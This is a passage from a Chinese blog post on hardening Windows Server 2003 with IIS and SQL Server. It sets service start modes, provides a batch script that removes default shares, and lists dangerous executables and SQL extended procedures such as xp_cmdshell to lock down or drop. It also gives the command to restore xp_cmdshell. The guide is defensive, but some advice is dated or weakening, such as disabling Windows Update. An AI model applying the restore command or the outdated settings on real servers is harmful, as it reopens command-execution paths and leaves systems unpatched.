sc config NtFrs start= DEMAND
sc config NtLmSsp start= DEMAND
sc config NtmsSvc start= DEMAND
sc config PlugPlay start= AUTO
sc config PolicyAgent start= AUTO
sc config ProtectedStorage start= AUTO
sc config RasAuto start= DEMAND
sc config RasMan start= DEMAND
sc config RDSessMgr start= DEMAND
sc config RemoteAccess start= DISABLED
sc config RemoteRegistry start= DISABLED
sc config RpcLocator start= DEMAND
sc config RpcSs start= AUTO
sc config RSoPProv start= DEMAND
sc config sacsvr start= DEMAND
sc config SamSs start= AUTO
sc config SCardSvr start= DEMAND
sc config Schedule start= AUTO
sc config seclogon start= AUTO
sc config SENS start= AUTO
sc config SharedAccess start= DISABLED
sc config ShellHWDetection start= AUTO
sc config SMTPSVC start= AUTO
sc config Spooler start= DISABLED
sc config SQLSERVERAGENT start= AUTO
sc config stisvc start= DISABLED
sc config swprv start= DEMAND
sc config SysmonLog start= AUTO
sc config TapiSrv start= DEMAND
sc config TermService start= AUTO
sc config Themes start= DISABLED
sc config TlntSvr start= DISABLED
sc config TrkSvr start= DISABLED
sc config TrkWks start= AUTO
sc config Tssdis start= DISABLED
sc config UMWdf start= DEMAND
sc config UPS start= DEMAND
sc config vds start= DEMAND
sc config VSS start= DEMAND
sc config W32Time start= AUTO
sc config W3SVC start= AUTO
sc config WebClient start= DISABLED
sc config WinHttpAutoProxySvc start= DEMAND
sc config winmgmt start= AUTO
sc config WmdmPmSN start= DEMAND
sc config Wmi start= DEMAND
sc config WmiApSrv start= DEMAND
sc config wuauserv start= DISABLED
sc config WZCSVC start= DISABLED
sc config xmlprov start= DEMAND

>> 删除默认共享

@echo off
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::
:: 先列举存在的分区，然后再逐个删除以分区名命名的共享；
:: 通过修改注册表防止admin$共享在下次开机时重新加载；
:: IPC$共享需要administritor权限才能成功删除
::
::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

title 默认共享删除器
color 1f
echo.
echo ——————————————————
echo.
echo 开始删除每个分区下的默认共享.
echo.
for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do @(
if exist %%a:\nul (
net share %%a$ /delete>nul 2>nul && echo 成功删除名为 %%a$ 的默认共享 || echo 名为 %%a$ 的默认共享不存在
)
)
net share admin$ /delete>nul 2>nul && echo 成功删除名为 admin$ 的默认共享 || echo 名为 admin$ 的默认共享不存在
echo.
echo ——————————————————
echo.
net stop Server /y>nul 2>nul && echo Server服务已停止.
net start Server>nul 2>nul && echo Server服务已启动.
echo.
echo ——————————————————
echo.
echo 修改注册表以更改系统默认设置.
echo.
echo 正在创建注册表文件.
echo Windows Registry Editor Version 5.00> c:\delshare.reg
:: 通过注册表禁止Admin$共享，以防重启后再次加载
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo “AutoShareWks”=dword:00000000>> c:\delshare.reg
echo “AutoShareServer”=dword:00000000>> c:\delshare.reg
:: 删除IPC$共享，本功能需要administritor权限才能成功删除
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>> c:\delshare.reg
echo “restrictanonymous”=dword:00000001>> c:\delshare.reg
echo 正在导入注册表文件以更改系统默认设置.
regedit /s c:\delshare.reg
del c:\delshare.reg && echo 临时文件已经删除.
echo.
echo ——————————————————
echo.
echo 程序已经成功删除所有的默认共享.
echo.
echo 按任意键退出…
pause>nul

>> 打开C:\Windows目录搜索以下DOS命令文件
NET.EXE,NET1.EXE,CMD.EXE,FTP.EXE,ATTRIB.EXE,CACLS.EXE,AT.EXE,FORMAT.COM,TELNET.EXE,COMMAND.COM,NETSTAT.EXE,REGEDIT.EXE,ARP.EXE,NBTSTAT.EXE
把以上命令文件通通只给Administrators 和SYSTEM为完全控制权限

>> 卸载删除具有CMD命令功能的危险组件
WSHOM.OCX对应于WScript.Shell组件

HKEY_CLASSES_ROOT\WScript.Shell\
及
HKEY_CLASSES_ROOT\WScript.Shell.1\
添加IUSR用户完全拒绝权限

Shell32.dll对应于Shell.Application组件

HKEY_CLASSES_ROOT\Shell.Application\
及
HKEY_CLASSES_ROOT\Shell.Application.1\
添加IUSR用户完全拒绝权限

regsvr32/u C:\Windows\System32\wshom.ocx
regsvr32/u C:\Windows\System32\shell32.dll

WSHOM.OCXx和Shell32.dl这两个文件只给Administrator完全权限

>>> SQL权限设置
1、一个数据库,一个帐号和密码,比如建立了一个数据库，只给PUBLIC和DB_OWNER权限，SA帐号基本是不使用的，因为SA实在是太危险了.

2、更改 sa 密码为你都不知道的超长密码,在任何情况下都不要用 sa 这个帐户.

3、Web登录时经常出现”[超时，请重试]“的问题
　如果安装了 SQL Server 时，一定要启用“服务器网络实用工具”中的“多协议”项。

4、将有安全问题的SQL扩展存储过程删除. 将以下代码全部复制到”SQL查询分析器”

use master
EXEC sp_dropextendedproc ‘xp_cmdshell’
EXEC sp_dropextendedproc ‘Sp_OACreate’
EXEC sp_dropextendedproc ‘Sp_OADestroy’
EXEC sp_dropextendedproc ‘Sp_OAGetErrorInfo’
EXEC sp_dropextendedproc ‘Sp_OAGetProperty’
EXEC sp_dropextendedproc ‘Sp_OAMethod’
EXEC sp_dropextendedproc ‘Sp_OASetProperty’
EXEC sp_dropextendedproc ‘Sp_OAStop’
EXEC sp_dropextendedproc ‘Xp_regaddmultistring’
EXEC sp_dropextendedproc ‘Xp_regdeletekey’
EXEC sp_dropextendedproc ‘Xp_regdeletevalue’
EXEC sp_dropextendedproc ‘Xp_regenumvalues’
EXEC sp_dropextendedproc ‘Xp_regread’
EXEC sp_dropextendedproc ‘Xp_regremovemultistring’
EXEC sp_dropextendedproc ‘Xp_regwrite’
drop procedure sp_makewebtask

恢复的命令是
EXEC sp_addextendedproc 存储过程的名称,@dllname =’存储过程的dll’
例如：恢复存储过程xp_cmdshell
EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’
注意，恢复时如果xplog70.dll已删除需要copy一个。

>> WEB目录权限设置
Everyone:顾名思义，所有的用户，这个计算机上的所有用户都属于这个组。
最好在C盘以外(如D,E,F…..)的根目录建立到三级目录,一级目录只给Administrator权限，二级目录给Administrator完全控制权限和Everyone除了完全控制，更改，取得，其它全部打勾的权限和IUSR只有该文件夹的完全拒绝权限，三级目录是每个客户的虚拟主机网站，给Administrator完全控制权限和Everyone除了完全控制，更改，取得，其它全部打勾的权限即可.

C盘的目录权限以表格的方式来说明,简单明了。

硬盘或文件夹: C:\ D:\ E:\ F:\ 类推
主要权限部分：其他权限部分：
Administrators 完全控制无
如果安装了其他运行环境，比如PHP等，则根据PHP的环境功能要求来设置硬盘权限，一般是安装目录加上users读取运行权限就足够了，比如c:\php的话，就在根目录权限继承的情况下加上users读取运行权限，需要写入数据的比如tmp文件夹，则把users的写删权限加上，运行权限不要，然后把虚拟主机用户的读权限拒绝即可。如果是mysql的话，用一个独立用户运行MYSQL会更安全，下面会有介绍。如果是winwebmail，则最好建立独立的应用程序池和独立IIS用户，然后整个安装目录有winwebmail进程用户的读/运行/写/权限，IIS用户则相同，这个IIS用户就只用在winwebmail的WEB访问中，其他IIS站点切勿使用，安装了winwebmail的服务器硬盘权限设置后面举例
该文件夹，子文件夹及文件
<不是继承的>
CREATOR OWNER 完全控制
只有子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Inetpub\
主要权限部分：其他权限部分：
Administrators 完全控制无
该文件夹，子文件夹及文件
<继承于c:\>
CREATOR OWNER 完全控制
只有子文件夹及文件
<继承于c:\>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<继承于c:\>

硬盘或文件夹: C:\Inetpub\AdminScripts
主要权限部分：其他权限部分：
Administrators 完全控制无
该文件夹，子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Inetpub\wwwroot
主要权限部分：其他权限部分：
Administrators 完全控制 IIS_WPG 读取运行/列出文件夹目录/读取
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
SYSTEM 完全控制 Users 读取运行/列出文件夹目录/读取
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
这里可以把虚拟主机用户组加上
同Internet 来宾帐户一样的权限
拒绝权限 Internet 来宾帐户创建文件/写入数据/:拒绝
创建文件夹/附加数据/:拒绝
写入属性/:拒绝
写入扩展属性/:拒绝
删除子文件夹及文件/:拒绝
删除/:拒绝
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Inetpub\wwwroot\aspnet_client
主要权限部分：其他权限部分：
Administrators 完全控制 Users 读取
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Documents and Settings
主要权限部分：其他权限部分：
Administrators 完全控制无
该文件夹，子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Documents and Settings\All Users
主要权限部分：其他权限部分：
Administrators 完全控制 Users 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
SYSTEM 完全控制 USERS组的权限仅仅限制于读取和运行，
绝对不能加上写入权限
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Documents and Settings\All Users\「开始」菜单
主要权限部分：其他权限部分：
Administrators 完全控制无
该文件夹，子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Documents and Settings\All Users\Application Data
主要权限部分：其他权限部分：
Administrators 完全控制 Users 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
CREATOR OWNER 完全控制 Users 写入
只有子文件夹及文件该文件夹，子文件夹
<不是继承的> <不是继承的>
SYSTEM 完全控制两个并列权限同用户组需要分开列权限
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft
主要权限部分：其他权限部分：
Administrators 完全控制 Users 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
SYSTEM 完全控制此文件夹包含 Microsoft 应用程序状态数据
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft\Crypto\RSA\MachineKeys
主要权限部分：其他权限部分：
Administrators 完全控制 Everyone 列出文件夹、读取属性、读取扩展属性、创建文件、创建文件夹、写入属性、写入扩展属性、读取权限

只有该文件夹 Everyone这里只有读写权限，不能加运行和删除权限，仅限该文件夹只有该文件夹
<不是继承的> <不是继承的>

硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft\Crypto\DSS\MachineKeys
主要权限部分：其他权限部分：
Administrators 完全控制 Everyone 列出文件夹、读取属性、读取扩展属性、创建文件、创建文件夹、写入属性、写入扩展属性、读取权限

只有该文件夹 Everyone这里只有读写权限，不能加运行和删除权限，仅限该文件夹只有该文件夹
<不是继承的> <不是继承的>

硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft\HTML Help
主要权限部分：其他权限部分：
Administrators 完全控制 Users 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Cm
主要权限部分：其他权限部分：
Administrators 完全控制 Everyone 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
SYSTEM 完全控制 Everyone这里只有读和运行权限
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft\Network\Downloader
主要权限部分：其他权限部分：
Administrators 完全控制无
该文件夹，子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index
主要权限部分：其他权限部分：
Administrators 完全控制 Users 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <继承于上一级文件夹>
SYSTEM 完全控制 Users 创建文件/写入数据
创建文件夹/附加数据
写入属性
写入扩展属性
读取权限
该文件夹，子文件夹及文件只有该文件夹
<不是继承的> <不是继承的>
Users 创建文件/写入数据
创建文件夹/附加数据
写入属性
写入扩展属性
只有该子文件夹和文件
<不是继承的>
硬盘或文件夹: C:\Documents and Settings\All Users\DRM
主要权限部分：其他权限部分：
这里需要把GUEST用户组和IIS访问用户组全部禁止
Everyone的权限比较特殊，默认安装后已经带了
主要是要把IIS访问的用户组加上所有权限都禁止 Users 读取和运行
该文件夹，子文件夹及文件
<不是继承的>
Guests 拒绝所有
该文件夹，子文件夹及文件
<不是继承的>
Guest 拒绝所有
该文件夹，子文件夹及文件
<不是继承的>
IUSR_XXX
或某个虚拟主机用户组拒绝所有
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Documents and Settings\All Users\Documents (共享文档)
主要权限部分：其他权限部分：
Administrators 完全控制无
该文件夹，子文件夹及文件
<不是继承的>
CREATOR OWNER 完全控制
只有子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Program Files
主要权限部分：其他权限部分：
Administrators 完全控制 IIS_WPG 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
CREATOR OWNER 完全控制 IUSR_XXX
或某个虚拟主机用户组列出文件夹/读取数据：拒绝
只有子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
SYSTEM 完全控制 IIS虚拟主机用户组禁止列目录，可有效防止FSO类木马
如果安装了aspjepg和aspupload
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Program Files\Common Files
主要权限部分：其他权限部分：
Administrators 完全控制 IIS_WPG 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <继承于上级目录>
CREATOR OWNER 完全控制 Users 读取和运行
只有子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
SYSTEM 完全控制复合权限，为IIS提供快速安全的运行环境
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Program Files\Common Files\Microsoft Shared\web server extensions
主要权限部分：其他权限部分：
Administrators 完全控制无
该文件夹，子文件夹及文件
<不是继承的>
CREATOR OWNER 完全控制
只有子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Program Files\Microsoft SQL Server\MSSQL (程序部分默认装在C：盘)
主要权限部分：其他权限部分：
Administrators 完全控制无
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: E:\Program Files\Microsoft SQL Server\MSSQL (数据库部分装在E：盘的情况)
主要权限部分：其他权限部分：
Administrators 完全控制无
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Program Files\Internet Explorer\iexplore.exe
主要权限部分：其他权限部分：
Administrators 完全控制无
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Program Files\Outlook Express
主要权限部分：其他权限部分：
Administrators 完全控制无
该文件夹，子文件夹及文件
<不是继承的>
CREATOR OWNER 完全控制
只有子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Program Files\PowerEasy5 (如果装了动易组件的话)
主要权限部分：其他权限部分：
Administrators 完全控制无
该文件夹，子文件夹及文件
<不是继承的>
CREATOR OWNER 完全控制
只有子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Program Files\Radmin (如果装了Radmin远程控制的话)
主要权限部分：其他权限部分：
Administrators 完全控制无
对应的c:\windows\system32里面有两个文件
r_server.exe和AdmDll.dll
要把Users读取运行权限去掉
默认权限只要administrators和system全部权限
该文件夹，子文件夹及文件
<不是继承的>
CREATOR OWNER 完全控制
只有子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Program Files\Serv-U (如果装了Serv-U服务器的话)
主要权限部分：其他权限部分：
Administrators 完全控制无
这里常是提权入侵的一个比较大的漏洞点
一定要按这个方法设置
目录名字根据Serv-U版本也可能是
C:\Program Files\RhinoSoft.com\Serv-U

该文件夹，子文件夹及文件
<不是继承的>
CREATOR OWNER 完全控制
只有子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\Program Files\Windows Media Player
主要权限部分：其他权限部分：
Administrators 完全控制无

硬盘或文件夹: C:\Program Files\Windows NT\Accessories
主要权限部分：其他权限部分：
Administrators 完全控制无

硬盘或文件夹: C:\Program Files\WindowsUpdate
主要权限部分：其他权限部分：
Administrators 完全控制无

硬盘或文件夹: C:\WINDOWS
主要权限部分：其他权限部分：
Administrators 完全控制 Users 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
CREATOR OWNER 完全控制
只有子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\WINDOWS\repair
主要权限部分：其他权限部分：
Administrators 完全控制 IUSR_XXX
或某个虚拟主机用户组列出文件夹/读取数据：拒绝
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
CREATOR OWNER 完全控制虚拟主机用户访问组拒绝读取，有助于保护系统数据
这里保护的是系统级数据SAM
只有子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\WINDOWS\IIS Temporary Compressed Files
主要权限部分：其他权限部分：
Administrators 完全控制 USERS 读取和写入/删除
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<继承于C:\windows> <不是继承的>
CREATOR OWNER 完全控制 IIS_WPG 读取和写入/删除
只有子文件夹及文件该文件夹，子文件夹及文件
<继承于C:\windows> <不是继承的>
SYSTEM 完全控制建议装了MCAFEE或NOD的用户把此文件夹，禁止写入一些文件类型比如*.EXE和*.com等可执行文件或vbs类脚本
该文件夹，子文件夹及文件
<继承于C:\windows>
IUSR_XXX
或某个虚拟主机用户组列出文件夹/读取数据：拒绝
该文件夹，子文件夹及文件
<不是继承的>
Guests 列出文件夹/读取数据：拒绝
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\WINDOWS\Microsoft.NET\Framework\版本\Temporary ASP.NET Files
主要权限部分：其他权限部分：
Administrators 完全控制 ASP.NET 计算机帐户读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<继承于C:\windows> <继承于C:\windows>
CREATOR OWNER 完全控制 ASP.NET 计算机帐户写入/删除
只有子文件夹及文件该文件夹，子文件夹及文件
<继承于C:\windows> <不是继承的>
SYSTEM 完全控制 IIS_WPG 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<继承于C:\windows> <继承于C:\windows>
IUSR_XXX
或某个虚拟主机用户组列出文件夹/读取数据：拒绝 IIS_WPG 写入(原来有删除权限要去掉)
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
Guests 列出文件夹/读取数据：拒绝 LOCAL SERVICE 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <继承于C:\windows>
USERS 读取和运行 LOCAL SERVICE 写入/删除
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<继承于C:\windows> <不是继承的>
NETWORK SERVICE 读取和运行
该文件夹，子文件夹及文件
<继承于C:\windows>
建议装了MCAFEE或NOD的用户把此文件夹，禁止写入一些文件类型，比如*.EXE和*.com等可执行文件或vbs类脚本 NETWORK SERVICE 写入/删除
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\WINDOWS\system32
主要权限部分：其他权限部分：
Administrators 完全控制 Users 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
CREATOR OWNER 完全控制 IUSR_XXX
或某个虚拟主机用户组列出文件夹/读取数据：拒绝
只有子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
SYSTEM 完全控制虚拟主机用户访问组拒绝读取，有助于保护系统数据
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\WINDOWS\system32\config
主要权限部分：其他权限部分：
Administrators 完全控制 Users 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
CREATOR OWNER 完全控制 IUSR_XXX
或某个虚拟主机用户组列出文件夹/读取数据：拒绝
只有子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <继承于上一级目录>
SYSTEM 完全控制虚拟主机用户访问组拒绝读取，有助于保护系统数据
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\WINDOWS\system32\inetsrv\
主要权限部分：其他权限部分：
Administrators 完全控制 Users 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
CREATOR OWNER 完全控制 IUSR_XXX
或某个虚拟主机用户组列出文件夹/读取数据：拒绝
只有子文件夹及文件只有该文件夹
<不是继承的> <继承于上一级目录>
SYSTEM 完全控制虚拟主机用户访问组拒绝读取，有助于保护系统数据
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\WINDOWS\system32\inetsrv\ASP Compiled Templates
主要权限部分：其他权限部分：
Administrators 完全控制 IIS_WPG 完全控制
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
IUSR_XXX
或某个虚拟主机用户组列出文件夹/读取数据：拒绝
该文件夹，子文件夹及文件
<继承于上一级目录>
虚拟主机用户访问组拒绝读取，有助于保护系统数据

硬盘或文件夹: C:\WINDOWS\system32\inetsrv\iisadmpwd
主要权限部分：其他权限部分：
Administrators 完全控制无
该文件夹，子文件夹及文件
<不是继承的>
CREATOR OWNER 完全控制
只有子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹，子文件夹及文件
<不是继承的>

硬盘或文件夹: C:\WINDOWS\system32\inetsrv\MetaBack
主要权限部分：其他权限部分：
Administrators 完全控制 Users 读取和运行
该文件夹，子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <不是继承的>
CREATOR OWNER 完全控制 IUSR_XXX
或某个虚拟主机用户组列出文件夹/读取数据：拒绝
只有子文件夹及文件该文件夹，子文件夹及文件
<不是继承的> <继承于上一级目录>
SYSTEM 完全控制虚拟主机用户访问组拒绝读取，有助于保护系统数据
该文件夹，子文件夹及文件
<不是继承的>

Comments (1)

Older Posts »